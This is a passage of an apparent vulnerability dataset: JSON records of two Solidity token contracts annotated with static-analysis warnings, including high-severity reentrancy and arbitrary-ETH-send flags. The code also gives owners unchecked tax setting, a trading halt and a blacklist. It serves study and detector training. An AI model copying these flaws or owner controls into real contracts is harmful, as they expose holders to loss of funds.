2c75c7f: Check that the address is not zero.\n function setMKT(\n address payable newMKT,\n address payable newTeam\n ) public onlyOwner {\n\t\t// missing-zero-check | ID: 1b66837\n mkt = newMKT;\n\n\t\t// missing-zero-check | ID: 2c75c7f\n team = newTeam;\n }\n\n function symbol() external view override returns (string memory) {\n return _symbol;\n }\n\n function name() external view override returns (string memory) {\n return _name;\n }\n\n function decimals() external view override returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(msg.sender, recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7f110a8): Token.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7f110a8: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3ce1f45): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3ce1f45: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-benign | ID: 3ce1f45\n _transfer(sender, recipient, amount);\n\n if (_allowances[sender][msg.sender] != MAX) {\n\t\t\t// reentrancy-benign | ID: 3ce1f45\n _allowances[sender][msg.sender] =\n _allowances[sender][msg.sender] -\n amount;\n }\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 165e78a): Token._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 165e78a: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _basicTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n _balances[sender] -= amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n\n uint256 public _buyCount = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 01a847d): Token._initialBuyTax should be constant \n\t// Recommendation for 01a847d: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6243f1b): Token._initialSellTax should be constant \n\t// Recommendation for 6243f1b: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 10;\n\n uint256 private _finalBuyTax = 32;\n\n uint256 private _finalSellTax = 32;\n\n uint256 private _reduceBuyTaxAt = 29;\n\n uint256 private _reduceSellTaxAt = 29;\n\n uint256 private _preventSwapBefore = 40;\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: fb773bd): Missing events for critical arithmetic parameters.\n\t// Recommendation for fb773bd: Emit an event for critical parameter changes.\n function recuseTax(\n uint256 newBuy,\n uint256 newSell,\n uint256 newReduceBuy,\n uint256 newReduceSell,\n uint256 newPreventSwapBefore\n ) public onlyOwner {\n\t\t// events-maths | ID: fb773bd\n _finalBuyTax = newBuy;\n\n\t\t// events-maths | ID: fb773bd\n _finalSellTax = newSell;\n\n\t\t// events-maths | ID: fb773bd\n _reduceBuyTaxAt = newReduceBuy;\n\n\t\t// events-maths | ID: fb773bd\n _reduceSellTaxAt = newReduceSell;\n\n\t\t// events-maths | ID: fb773bd\n _preventSwapBefore = newPreventSwapBefore;\n }\n\n uint256 swapAtAmount;\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: eb9bd7c): Token.setSwapAtAmount(uint256) should emit an event for swapAtAmount = newValue \n\t// Recommendation for eb9bd7c: Emit an event for critical parameter changes.\n function setSwapAtAmount(uint256 newValue) public onlyOwner {\n\t\t// events-maths | ID: eb9bd7c\n swapAtAmount = newValue;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 20f9353): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 20f9353: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 3b6b0a5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 3b6b0a5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 8c67024): Token._transfer(address,address,uint256).takeFee is a local variable never initialized\n\t// Recommendation for 8c67024: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transfer(address from, address to, uint256 amount) private {\n uint256 balance = balanceOf(from);\n\n require(balance >= amount, \"balanceNotEnough\");\n\n if (inSwap) {\n _basicTransfer(from, to, amount);\n\n return;\n }\n\n bool takeFee;\n\n if (\n isMarketPair[to] &&\n !inSwap &&\n !_isExcludeFromFee[from] &&\n !_isExcludeFromFee[to] &&\n _buyCount > _preventSwapBefore\n ) {\n uint256 _numSellToken = amount;\n\n if (_numSellToken > balanceOf(address(this))) {\n _numSellToken = _balances[address(this)];\n }\n\n if (_numSellToken > swapAtAmount) {\n\t\t\t\t// reentrancy-events | ID: 20f9353\n\t\t\t\t// reentrancy-eth | ID: 3b6b0a5\n swapTokenForETH(_numSellToken);\n }\n }\n\n if (!_isExcludeFromFee[from] && !_isExcludeFromFee[to] && !inSwap) {\n require(startTradeBlock > 0);\n\n takeFee = true;\n\n if (\n isMarketPair[from] &&\n to != address(_uniswapRouter) &&\n !_isExcludeFromFee[to]\n ) {\n\t\t\t\t// reentrancy-eth | ID: 3b6b0a5\n _buyCount++;\n }\n }\n\n\t\t// reentrancy-events | ID: 20f9353\n\t\t// reentrancy-eth | ID: 3b6b0a5\n _transferToken(from, to, amount, takeFee);\n }\n\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: 8229ef4): Token._transferToken(address,address,uint256,bool).feeAmount is a local variable never initialized\n\t// Recommendation for 8229ef4: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: ef2a9c1): Token._transferToken(address,address,uint256,bool).taxFee is a local variable never initialized\n\t// Recommendation for ef2a9c1: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transferToken(\n address sender,\n address recipient,\n uint256 tAmount,\n\t\t// reentrancy-eth | ID: 3b6b0a5\n bool takeFee\n ) private {\n _balances[sender] = _balances[sender] - tAmount;\n\n uint256 feeAmount;\n\n if (takeFee) {\n uint256 taxFee;\n\n if (isMarketPair[recipient]) {\n taxFee = _buyCount > _reduceSellTaxAt\n ? _finalSellTax\n : _initialSellTax;\n } else if (isMarketPair[sender]) {\n taxFee = _buyCount > _reduceBuyTaxAt\n ? _finalBuyTax\n : _initialBuyTax;\n }\n\n uint256 swapAmount = (tAmount * taxFee) / 100;\n\n if (swapAmount > 0) {\n feeAmount += swapAmount;\n\n\t\t\t\t// reentrancy-eth | ID: 3b6b0a5\n _balances[address(this)] =\n _balances[address(this)] +\n swapAmount;\n\n\t\t\t\t// reentrancy-events | ID: 20f9353\n emit Transfer(sender, address(this), swapAmount);\n }\n }\n\n\t\t// reentrancy-eth | ID: 3b6b0a5\n _balances[recipient] = _balances[recipient] + (tAmount - feeAmount);\n\n\t\t// reentrancy-events | ID: 20f9353\n emit Transfer(sender, recipient, tAmount - feeAmount);\n }\n\n uint256 public startTradeBlock;\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: bf7c494): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for bf7c494: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 7cd6e4e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 7cd6e4e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 4f10269): Token.startTrade() ignores return value by IERC20(_uniswapRouter.WETH()).approve(address(address(_uniswapRouter)),~ uint256(0))\n\t// Recommendation for 4f10269: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 46becf3): Token.startTrade() ignores return value by _uniswapRouter.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 46becf3: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f9fe55c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f9fe55c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function startTrade() public onlyOwner {\n require(startTradeBlock == 0, \"already start\");\n\n _uniswapRouter = IUniswapRouter(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _allowances[address(this)][address(_uniswapRouter)] = MAX;\n\n\t\t// reentrancy-benign | ID: bf7c494\n\t\t// reentrancy-benign | ID: 7cd6e4e\n\t\t// reentrancy-eth | ID: f9fe55c\n _uniswapPair = IUniswapFactory(_uniswapRouter.factory()).createPair(\n address(this),\n _uniswapRouter.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 7cd6e4e\n isMarketPair[_uniswapPair] = true;\n\n\t\t// reentrancy-benign | ID: 7cd6e4e\n _allowances[address(_uniswapPair)][owner()] = MAX;\n\n\t\t// reentrancy-benign | ID: bf7c494\n\t\t// unused-return | ID: 4f10269\n\t\t// reentrancy-eth | ID: f9fe55c\n IERC20(_uniswapRouter.WETH()).approve(\n address(address(_uniswapRouter)),\n ~uint256(0)\n );\n\n\t\t// reentrancy-benign | ID: bf7c494\n _isExcludeFromFee[address(_uniswapRouter)] = true;\n\n\t\t// unused-return | ID: 46becf3\n\t\t// reentrancy-eth | ID: f9fe55c\n _uniswapRouter.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-eth | ID: f9fe55c\n startTradeBlock = block.number;\n }\n\n function antiBotTrade() public onlyOwner {\n startTradeBlock = 0;\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: f94e7d8): Token.removeERC20(address) ignores return value by IERC20(_token).transfer(mkt,IERC20(_token).balanceOf(address(this)))\n\t// Recommendation for f94e7d8: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function removeERC20(address _token) external {\n require(msg.sender == mkt);\n\n\t\t// unchecked-transfer | ID: f94e7d8\n IERC20(_token).transfer(mkt, IERC20(_token).balanceOf(address(this)));\n\n mkt.transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 41b7e48): Token.swapTokenForETH(uint256) sends eth to arbitrary user Dangerous calls mkt.transfer(_bal / 10) team.transfer(address(this).balance)\n\t// Recommendation for 41b7e48: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function swapTokenForETH(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = _uniswapRouter.WETH();\n\n\t\t// reentrancy-events | ID: 20f9353\n\t\t// reentrancy-benign | ID: 3ce1f45\n\t\t// reentrancy-eth | ID: 3b6b0a5\n _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n\n uint256 _bal = address(this).balance;\n\n if (_bal > 0.01 ether) {\n\t\t\t// reentrancy-events | ID: 20f9353\n\t\t\t// reentrancy-eth | ID: 3b6b0a5\n\t\t\t// arbitrary-send-eth | ID: 41b7e48\n mkt.transfer(_bal / 10);\n\n\t\t\t// reentrancy-events | ID: 20f9353\n\t\t\t// reentrancy-eth | ID: 3b6b0a5\n\t\t\t// arbitrary-send-eth | ID: 41b7e48\n team.transfer(address(this).balance);\n }\n }\n\n function setMarketingFreeTrade(\n address account,\n bool value\n ) public onlyOwner {\n _isExcludeFromFee[account] = value;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10162.sol",
"size_bytes": 20728,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n address private _previousOwner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n}\n\ncontract Tensor is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n string private constant _symbol = \"TST\";\n\n string private constant _name = \"TENSOR\";\n\n uint8 private constant _decimals = 9;\n\n mapping(address => uint256) private _rOwned;\n\n mapping(address => uint256) private _tOwned;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n uint256 private constant MAX = ~uint256(0);\n\n uint256 private constant _tTotal = 100000000 * 10 ** 9;\n\n uint256 private _rTotal = (MAX - (MAX % _tTotal));\n\n uint256 private _tFeeTotal;\n\n uint256 private _redisFeeOnBuy = 0;\n\n uint256 private _taxFeeOnBuy = 0;\n\n uint256 private _redisFeeOnSell = 0;\n\n uint256 private _taxFeeOnSell = 0;\n\n uint256 private _redisFee = _redisFeeOnSell;\n\n uint256 private _taxFee = _taxFeeOnSell;\n\n uint256 private _previousredisFee = _redisFee;\n\n uint256 private _previoustaxFee = _taxFee;\n\n mapping(address => bool) public bots;\n mapping(address => uint256) public _buyMap;\n\n\t// WARNING Optimization Issue (constable-states | ID: 881dcb7): Tensor._developmentAddress should be constant \n\t// Recommendation for 881dcb7: Add the 'constant' attribute to state variables that never change.\n address payable private _developmentAddress =\n payable(0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045);\n\n\t// WARNING Optimization Issue (constable-states | ID: aa3f087): Tensor._marketingAddress should be constant \n\t// Recommendation for aa3f087: Add the 'constant' attribute to state variables that never change.\n address payable private _marketingAddress =\n payable(0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 1340f9f): Tensor.uniswapV2Router should be immutable \n\t// Recommendation for 1340f9f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 389a079): Tensor.uniswapV2Pair should be immutable \n\t// Recommendation for 389a079: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = true;\n\n uint256 public _maxTxAmount = 1000000 * 10 ** 9;\n\n uint256 public _maxWalletSize = 1000000 * 10 ** 9;\n\n uint256 public _swapTokensAtAmount = 1000 * 10 ** 9;\n\n bool private _maxTxn = false;\n\n bool private _maxWallet = false;\n\n bool private _maxTxnCan = false;\n\n bool private _maxWalletCan = false;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _rOwned[_msgSender()] = _rTotal;\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Router = _uniswapV2Router;\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_developmentAddress] = true;\n\n _isExcludedFromFee[_marketingAddress] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 59c3658): Tensor.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 59c3658: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 103fb3f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 103fb3f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 80ee3c7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 80ee3c7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 103fb3f\n\t\t// reentrancy-benign | ID: 80ee3c7\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 103fb3f\n\t\t// reentrancy-benign | ID: 80ee3c7\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"the transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function tokenFromReflection(\n uint256 rAmount\n ) private view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount has to be less than total reflections\"\n );\n\n uint256 currentRate = _getRate();\n\n return rAmount.div(currentRate);\n }\n\n function removeAllFee() private {\n if (_redisFee == 0 && _taxFee == 0) return;\n\n\t\t// reentrancy-benign | ID: 5904020\n _previousredisFee = _redisFee;\n\n\t\t// reentrancy-benign | ID: 5904020\n _previoustaxFee = _taxFee;\n\n\t\t// reentrancy-benign | ID: 5904020\n _redisFee = 0;\n\n\t\t// reentrancy-benign | ID: 5904020\n _taxFee = 0;\n }\n\n function restoreAllFee() private {\n\t\t// reentrancy-benign | ID: 5904020\n _redisFee = _previousredisFee;\n\n\t\t// reentrancy-benign | ID: 5904020\n _taxFee = _previoustaxFee;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9cf7d74): Tensor._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9cf7d74: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"Can't approve from zero address\");\n\n require(spender != address(0), \"Can't approve to zero address\");\n\n\t\t// reentrancy-benign | ID: 80ee3c7\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 103fb3f\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b1ff55a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b1ff55a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5904020): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5904020: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1cc3c80): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1cc3c80: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"Cant transfer from address zero\");\n\n require(to != address(0), \"Cant transfer to address zero\");\n\n require(amount > 0, \"Amount should be above zero\");\n\n if (from != owner() && to != owner()) {\n if (!tradingOpen) {\n require(\n from == owner(),\n \"Only owner can trade before trading activation\"\n );\n }\n\n require(amount <= _maxTxAmount, \"Exceeded max transaction limit\");\n\n require(\n !bots[from] && !bots[to],\n \"This account is on the blacklist\"\n );\n\n if (to != uniswapV2Pair) {\n require(\n balanceOf(to) + amount < _maxWalletSize,\n \"Exceeds max wallet balance\"\n );\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = contractTokenBalance >= _swapTokensAtAmount;\n\n if (contractTokenBalance >= _maxTxAmount) {\n contractTokenBalance = _maxTxAmount;\n }\n\n if (\n canSwap &&\n !inSwap &&\n from != uniswapV2Pair &&\n swapEnabled &&\n !_isExcludedFromFee[from] &&\n !_isExcludedFromFee[to]\n ) {\n\t\t\t\t// reentrancy-events | ID: b1ff55a\n\t\t\t\t// reentrancy-benign | ID: 5904020\n\t\t\t\t// reentrancy-eth | ID: 1cc3c80\n swapTokensForEth(contractTokenBalance);\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: b1ff55a\n\t\t\t\t\t// reentrancy-eth | ID: 1cc3c80\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n bool takeFee = true;\n\n if (\n (_isExcludedFromFee[from] || _isExcludedFromFee[to]) ||\n (from != uniswapV2Pair && to != uniswapV2Pair)\n ) {\n takeFee = false;\n } else {\n if (from == uniswapV2Pair && to != address(uniswapV2Router)) {\n\t\t\t\t// reentrancy-benign | ID: 5904020\n _redisFee = _redisFeeOnBuy;\n\n\t\t\t\t// reentrancy-benign | ID: 5904020\n _taxFee = _taxFeeOnBuy;\n }\n\n if (to == uniswapV2Pair && from != address(uniswapV2Router)) {\n\t\t\t\t// reentrancy-benign | ID: 5904020\n _redisFee = _redisFeeOnSell;\n\n\t\t\t\t// reentrancy-benign | ID: 5904020\n _taxFee = _taxFeeOnSell;\n }\n }\n\n\t\t// reentrancy-events | ID: b1ff55a\n\t\t// reentrancy-benign | ID: 5904020\n\t\t// reentrancy-eth | ID: 1cc3c80\n _tokenTransfer(from, to, amount, takeFee);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 103fb3f\n\t\t// reentrancy-events | ID: b1ff55a\n\t\t// reentrancy-benign | ID: 5904020\n\t\t// reentrancy-benign | ID: 80ee3c7\n\t\t// reentrancy-eth | ID: 1cc3c80\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 103fb3f\n\t\t// reentrancy-events | ID: b1ff55a\n\t\t// reentrancy-eth | ID: 1cc3c80\n _marketingAddress.transfer(amount);\n }\n\n function setTrading(bool _tradingOpen) public onlyOwner {\n tradingOpen = _tradingOpen;\n }\n\n function manualswap() external {\n require(\n _msgSender() == _developmentAddress ||\n _msgSender() == _marketingAddress\n );\n\n uint256 contractBalance = balanceOf(address(this));\n\n swapTokensForEth(contractBalance);\n }\n\n function manualsend() external {\n require(\n _msgSender() == _developmentAddress ||\n _msgSender() == _marketingAddress\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n\n function blockBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function unblockBot(address notbot) public onlyOwner {\n bots[notbot] = false;\n }\n\n function _tokenTransfer(\n address sender,\n address recipient,\n uint256 amount,\n bool takeFee\n ) private {\n if (!takeFee) removeAllFee();\n\n _transferStandard(sender, recipient, amount);\n\n if (!takeFee) restoreAllFee();\n }\n\n function _transferStandard(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tTeam\n ) = _getValues(tAmount);\n\n\t\t// reentrancy-eth | ID: 1cc3c80\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n\n\t\t// reentrancy-eth | ID: 1cc3c80\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n\n _takeTeam(tTeam);\n\n _reflectFee(rFee, tFee);\n\n\t\t// reentrancy-events | ID: b1ff55a\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function _takeTeam(uint256 tTeam) private {\n uint256 currentRate = _getRate();\n\n uint256 rTeam = tTeam.mul(currentRate);\n\n\t\t// reentrancy-eth | ID: 1cc3c80\n _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);\n }\n\n function _reflectFee(uint256 rFee, uint256 tFee) private {\n\t\t// reentrancy-eth | ID: 1cc3c80\n _rTotal = _rTotal.sub(rFee);\n\n\t\t// reentrancy-benign | ID: 5904020\n _tFeeTotal = _tFeeTotal.add(tFee);\n }\n\n receive() external payable {}\n\n function _getValues(\n uint256 tAmount\n )\n private\n view\n returns (uint256, uint256, uint256, uint256, uint256, uint256)\n {\n (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(\n tAmount,\n _redisFee,\n _taxFee\n );\n\n uint256 currentRate = _getRate();\n\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(\n tAmount,\n tFee,\n tTeam,\n currentRate\n );\n\n return (rAmount, rTransferAmount, rFee, 